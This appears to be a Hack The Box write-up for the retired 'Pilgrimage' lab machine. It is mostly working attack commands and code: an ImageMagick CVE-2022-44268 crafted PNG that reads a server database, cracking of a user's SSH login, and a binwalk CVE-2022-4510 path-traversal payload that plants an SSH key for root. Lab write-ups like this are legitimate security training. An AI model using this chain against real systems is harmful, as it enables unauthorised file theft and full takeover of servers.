~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / pilgrimage.md

pilgrimage

Linux · Easy · released 2023-06-24 · retired 2023-11-25

Summary

Pilgrimage is an Easy Linux box: exposed .git/ reveals ImageMagick 7.1.0-49 → CVE-2022-44268 arbitrary file read via crafted PNG metadata → exfil /var/db/pilgrimage SQLite DB → emily’s plaintext password → SSH. Privesc: root runs binwalk -e on every file dropped in /var/www/pilgrimage.htb/shrunk/ via an inotifywait loop → CVE-2022-4510 path-traversal in binwalk’s PFS extractor → write ~/.ssh/authorized_keys for root → SSH root.

Critical operational delta vs the public walkthroughs: the malicious binwalk-PFS payload is scp‘d directly into shrunk/ as emily, bypassing the web upload. The web upload runs through magick convert -resize 50%, which re-encodes the image and strips the appended PFS structure — so binwalk never sees the trigger. emily already has shell and shrunk/ is drwxrwxrwx, so scp evil.png emily@<TARGET>:/var/www/pilgrimage.htb/shrunk/ is the path that fires malwarescan.sh on the un-recompressed payload.

The chain:

  1. wget -r http://pilgrimage.htb/.git/ → source.
  2. magick.c reveals ImageMagick version. Build PNG with the CVE-2022-44268 profile pointing at /var/db/pilgrimage.
  3. Upload → server processes → magick identify -verbose leaks the file content as the hex profile.
  4. Decode profile → SQLite DB → emily : <EMILY_PW>.
  5. SSH as emily.
  6. Root runs binwalk -e <file> on every upload. CVE-2022-4510: a crafted PFS file extracts /root/.config/binwalk/plugins/x.py (traversal).
  7. Plugin runs at next extraction → echo $key >> /root/.ssh/authorized_keys.
  8. Trigger one more upload → SSH root.

Recon

22/tcp     OpenSSH
80/tcp     pilgrimage.htb (image cropper)
+ exposed /.git

Foothold — CVE-2022-44268 PNG file-read

Build a minimal PNG (1x1 black) with a tEXt chunk:

text = chunk(b'tEXt', b'profile\x00' + b'/var/db/pilgrimage')

The tEXt keyword profile is the magic — ImageMagick’s PNG handler reads it as a filename, opens the target file, and embeds its hex-encoded bytes back into the converted output as a Raw profile type zTXt chunk.

Upload (login as any registered user first):

curl -c c -b c -X POST -d 'username=foo&password=bar' http://pilgrimage.htb/register.php
curl -c c -b c -X POST -d 'username=foo&password=bar' http://pilgrimage.htb/login.php
curl -c c -b c -L -F '[email protected]' http://pilgrimage.htb/
# Location: /shrunk/<id>.png

Decode the embedded zTXt — it’s \n\n <size>\n<hex>\n:

hex_full = b''.join(p for p in zTXt_decompressed.split(b'\n')
                    if all(c in b'0123456789abcdef' for c in p))
open('pilgrimage.db','wb').write(bytes.fromhex(hex_full.decode()))
sqlite3 pilgrimage.db 'SELECT * FROM users'
emily|<EMILY_PW>
ssh emily@<TARGET>

Privesc — binwalk CVE-2022-4510 path traversal

/usr/sbin/malwarescan.sh runs as root via systemd (WorkingDirectory=/root/quarantine):

inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
  filename="/var/www/pilgrimage.htb/shrunk/$(...sed extract from FILE...)"
  binout="$(/usr/local/bin/binwalk -e "$filename")"
  ...blacklist banned-string check; rm if hit...
done

Build the malicious PFS file with WalkingPath. The ssh mode embeds the SSH pubkey behind a PFS path-traversal header ../../../.ssh/authorized_keys — when binwalk extracts, the PFS extractor resolves this relative to its working directory (/root/quarantine/_<file>.extracted/<sub>/), three levels up of which is /root/.ssh/authorized_keys.

git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath
python3 walkingpath.py ssh seed.jpg ~/.ssh/htb_id.pub
# → binwalk_exploit.png (real seed image + appended PFS)

Delivery — DO NOT use the web upload. The web’s magick convert -resize 50% re-encodes the image and strips trailing data; the PFS structure never reaches shrunk/. Instead, emily has shell + shrunk/ is world-writable, so:

sshpass -p '<EMILY_PW>' scp binwalk_exploit.png \
  emily@<TARGET>:/var/www/pilgrimage.htb/shrunk/x.png
# malwarescan.sh fires within ~5s, binwalk -e extracts the PFS
# and writes /root/.ssh/authorized_keys with our key.
ssh -i ~/.ssh/htb_id root@<TARGET>   # → root, read /root/root.txt

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗